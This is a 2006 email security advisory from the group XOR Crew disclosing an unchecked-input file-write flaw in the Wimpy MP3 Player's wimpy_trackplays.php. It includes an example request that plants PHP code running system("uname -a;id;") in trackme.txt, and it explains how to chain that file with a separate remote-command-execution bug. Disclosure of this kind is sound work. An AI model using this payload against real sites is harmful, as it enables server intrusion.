------=_Part_3561_13171861.1140054915207 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D XOR Crew :: Security Advisory =20 2/10/2006 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Wimpy MP3 Player - Text file overwrite. (lame) =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D http://www.xorcrew.net/ http://www.xorcrew.net/ReZEN/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D :: Summary Vendor : Plaino Inc. Vendor Site : http://www.wimpyplayer.com/ Product(s) : Wimpy MP3 PLayer Version(s) : All Severity : Low Impact : trackme.txt overwrite Release Date : 2/10/2006 Credits : ReZEN (rezen (a) xorcrew (.) net) =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D I. Description Wimpy provides a simple, clean, enjoyable listening experience for your website's visitors. Lists and plays an entire directory full of mp3 files automatica= lly. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D II. Synopsis The file wimpy_trackplays.php does not check the variables passed to it prior to writing the contents of those variables to trackme.txt. That allows us to write anything we want to trackme.txt. This is not really a problem for the server running wimpy. The problem lies in the fact that being able to write to trackme.txt allows the attacker a jump off point for other Remote Command Execution Bugs that read from text files. These bugs are quite common and thus wimpy aids the attacker in staying annonymous. Example: http://www.site.com/pathtowimpy/goodies/wimpy_trackplays.php?myAction=3Dtra= ckplays &trackFile=3D that writes: to trackme.txt. Then all the attacker has to do is point is RCE exploit to trackme.txt and there you have it. So yeah lame vuln but interesting. Peace out. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D IV. Greets :> All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ------=_Part_3561_13171861.1140054915207 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline 
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XOR Crew :: Security Advisory=
                                                 2/10/2006
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=3D=3D=3D=3D=3D=3D=3D=3D

Wimpy MP3 Player - Text file overwrite. (lame)
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http://www.xorcrew.n=
et/

http://www.xorcrew.net/ReZEN/
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:: Summary

      Vendor       :  Plaino Inc.
      Vendor=
 Site  :  
http://www.wimpyplayer.com/
      Product(s)   :  Wimpy MP3 PLayer      Version(s)   :  All
      Severity     :  Low
      Impact   =
    :  trackme.txt overwrite
      Release Date :  2/10/2006
      Cr=
edits      :  ReZEN (rezen (a) xorcrew (.) net)


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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

I. Description

=
Wimpy provides a simple, clean, enjoyable listening experience for your web=
site's
visitors.  Lists and plays an entire directory full of mp3 files =
automatically.


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

II. Synopsis

Th=
e file wimpy_trackplays.php does not check the variables passed to it prior=
 to 
writing the contents of those variables to=20
trackme.txt.  That allows us to write 
anything we want to trackme.txt. =
 This is not really a problem for the server running 
wimpy.  The proble=
m lies in the fact that being able to write to trackme.txt allows
the at=
tacker a jump off point for other Remote Command Execution Bugs that read f=
rom

text files.  These bugs are quite common and thus wimpy aids the attack=
er in staying
annonymous.  

Example:

h=
ttp://www.site.com/pathtowimpy/goodies/wimpy_trackplays.php?myAction=3Dtrac=
kplays

&trackFile=3D<?php&trackArtist=3Dsystem("uname -a;i=
d;");&trackTitle=3D?>

that writes:

<?php
sy=
stem("uname -a;id;");
?>

to trackme.txt.  Then all t=
he attacker has to do is point is RCE exploit to=20
trackme.txt
and there you have it.  So yeah lame vuln but interesting.  =
Peace out.

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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

IV. Greets :&=
gt;

All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful g=
irlfriend.


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